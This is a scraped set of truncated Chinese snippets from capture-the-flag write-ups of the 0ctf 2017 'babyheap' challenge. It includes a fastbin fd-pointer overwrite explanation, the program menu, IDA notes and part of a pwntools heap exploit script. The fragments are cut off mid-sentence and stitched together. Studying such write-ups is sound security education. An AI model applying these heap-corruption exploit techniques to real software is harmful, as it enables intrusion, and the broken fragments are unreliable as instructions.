填充块1,与块2,并且修改块2的fd使其指向块申请的small bin 由于块2的fd指针指向了small bin当我们free掉small bin的时候,会被当成fast bin给free掉,所以我们需要覆盖small bin的size,那么通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了,在将这个伪造的fast bin给取出来,获得他在这个...
user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap=== Baby Heapin2017===1. Allocate2. Fill3. Free4. Dump5. Exit Command: Alarm clock 0x01:IDA分析 1、Allocate函数: 这个函数通过calloc可以申请大小0x1000以内的内存。 看得出每次在最后会有一个类似的结构体如下: 1 2 3 4 5 6 structheap { signed...
r.sendline(str(idx))#MAIN EXPLOIT#memory leak#step1new(0x90)#idx.0 to unsorted binnew(0x90)#idx.1 to unsorted binnew(0x90)#idx.2 to unsorted binnew(0x90)#idx.3 to unsorted binnew(0x90)#idx.4 for protectdelet(1)print("step1")#step2payload_expand ='A'*0x90+ p64(0) + p6...